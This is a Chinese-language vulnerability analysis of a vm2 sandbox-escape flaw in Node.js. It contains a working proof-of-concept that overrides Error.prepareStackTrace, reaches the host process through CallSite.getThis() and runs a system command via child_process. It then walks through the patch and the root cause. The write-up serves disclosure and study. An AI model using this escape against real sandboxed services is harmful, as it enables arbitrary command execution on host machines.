payload:
globalThis.OldError=globalThis.Error;
try{
const a=123
a=44
}catch(err){
console.log(err);
}
globalThis.Error={}
globalThis.Error.prepareStackTrace=(errStr,traces)=>{
traces[0]
.getThis()
.process
.mainModule
.require('child_process')
.execSync('calc');
}
const {stack}=new globalThis.OldError
這段POC首先將全局對象Error保存爲OldError,隨後利用一個try…catch異常處理結果來捕獲異常,其中由於變量a由const修飾,所以在執行a=44時會觸發異常,之後通過globalThis.Error={}將Error對象置爲空對象並通過globalThis.Error.prepareStackTrace=(errStr,traces)=>{...}重新定義Error對象的prepareStackTrace方法使其創建子進程calc,最後通過const {stack}=new globalThis.OldError來獲取異常堆棧,在獲取異常堆棧時會觸發Error.prepareStackTrace函數的調用。
將這段代碼放入vm2執行,理想狀態下不應該成功創建子進程,查看patch,它的修補patch非常簡單:
// global is originally prototype of host.Object so it can be used to climb up from the sandbox.
@@ -67,7 +67,8 @@ Object.defineProperties(global, {
global: {value: global, writable: true, configurable: true, enumerable: true},
globalThis: {value: global, writable: true, configurable: true},
GLOBAL: {value: global, writable: true, configurable: true},
- root: {value: global, writable: true, configurable: true}
- root: {value: global, writable: true, configurable: true},
+ Error: {value: LocalError}
});
從patch來看Object.defineProperties 方法在全局对象上定义了几个属性,以提供对全局对象的不同名称的访问。同时,还通过重写全局对象的
Error 属性,将其指向vm2自定義的本地錯誤對象 LocalError,从而改变了全局错误对象的行为。
通過patch也很容易可以看出漏洞產生的原因,由於忽視了原始Error對象prepareStackTrace方法可以被重寫的問題,導致將原始的Error對象被暴露。
“prepareStackTrace”方法,可以实现自定义调用堆栈。这意味着当发生错误并且访问抛出的错误对象的“stack”属性时,Node.js会调用此方法,并将错误的字符串表示以及作为参数的“CallSite”对象数组提供给它,数组中的每个“CallSite”对象代表一个不同的堆栈帧。它们共同组成了错误发生时的调用堆栈状态。其中“CallSite”对象公开的一个方法是“getThis”,它负责返回相关堆栈帧中可用的“this”对象。这种行为可能导致沙盒逃逸,因为一些“CallSite”对象在调用“getThis”方法时可能返回在沙盒之外创建的对象。一旦获得了在沙盒之外创建的“CallSite”对象,可能可以访问Node.js的全局对象并从那里执行任意系统命令。
事實上vm2的维护者意识到覆盖“prepareStackTrace”可能导致沙盒逃逸,并试图通过使用自己的实现包装Error对象和“prepareStackTrace”方法来减轻这种逃逸路径,从而防止用户覆盖此方法:

而漏洞的提交者發現由於在global中未對Error對象進行包裝,所以儅通過global.Error的方式來獲取Error對象依然可以獲取到原始的Error對象而不是去獲取localError對象,但後面對錯誤對象的清潔處理都是在處理localError對象,所以通過這種方法來繞過對localError的過濾清潔。所以理論上來講使用Object.defineProperties中定義的global、globalThis、root都可以獲取到原始的Error對象。儅patch過後儅通過global.Error訪問錯誤對象時實際上還是在訪問localError,而localError已經被過濾清潔過了。